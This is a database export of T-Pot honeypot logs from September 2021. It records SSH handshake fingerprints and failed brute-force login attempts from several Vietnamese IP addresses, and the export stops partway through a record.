22345	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:04.669779+03	2021-09-20 14:15:04.817613+03	{"_id": "hQbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57046, "timestamp": "2021-09-20T11:07:04.669779", "@timestamp": "2021-09-20T11:07:04.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22346	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:04.681497+03	2021-09-20 14:15:04.819614+03	{"_id": "hgbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56472, "timestamp": "2021-09-20T11:07:04.681497", "@timestamp": "2021-09-20T11:07:04.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22352	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.333073+03	2021-09-20 14:15:04.827613+03	{"_id": "jAbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/s] failed", "session": "65df2bdbb1cb", "@version": "1", "password": "s", "username": "root", "timestamp": "2021-09-20T11:07:04.333073Z", "@timestamp": "2021-09-20T11:07:04.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22347	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:04.689881+03	2021-09-20 14:15:04.820613+03	{"_id": "hwbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57046, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.689881", "@timestamp": "2021-09-20T11:07:04.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22348	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:04.932953+03	2021-09-20 14:15:04.822613+03	{"_id": "iAbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56258, "timestamp": "2021-09-20T11:07:04.932953", "@timestamp": "2021-09-20T11:07:04.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22349	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:04.93301+03	2021-09-20 14:15:04.823613+03	{"_id": "iQbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56258, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.933010", "@timestamp": "2021-09-20T11:07:04.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22350	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:04.957213+03	2021-09-20 14:15:04.824613+03	{"_id": "igbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56472, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.957213", "@timestamp": "2021-09-20T11:07:04.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22351	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:04.212124+03	2021-09-20 14:15:04.825613+03	{"_id": "iwbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [telnet/telnet] failed", "session": "bb19f410fe9e", "@version": "1", "password": "telnet", "username": "telnet", "timestamp": "2021-09-20T11:07:04.212124Z", "@timestamp": "2021-09-20T11:07:04.212Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22353	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.424251+03	2021-09-20 14:15:04.828613+03	{"_id": "jQbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5a7cfe368c62", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:04.424251Z", "@timestamp": "2021-09-20T11:07:04.424Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22354	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.712291+03	2021-09-20 14:15:04.829613+03	{"_id": "jgbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", 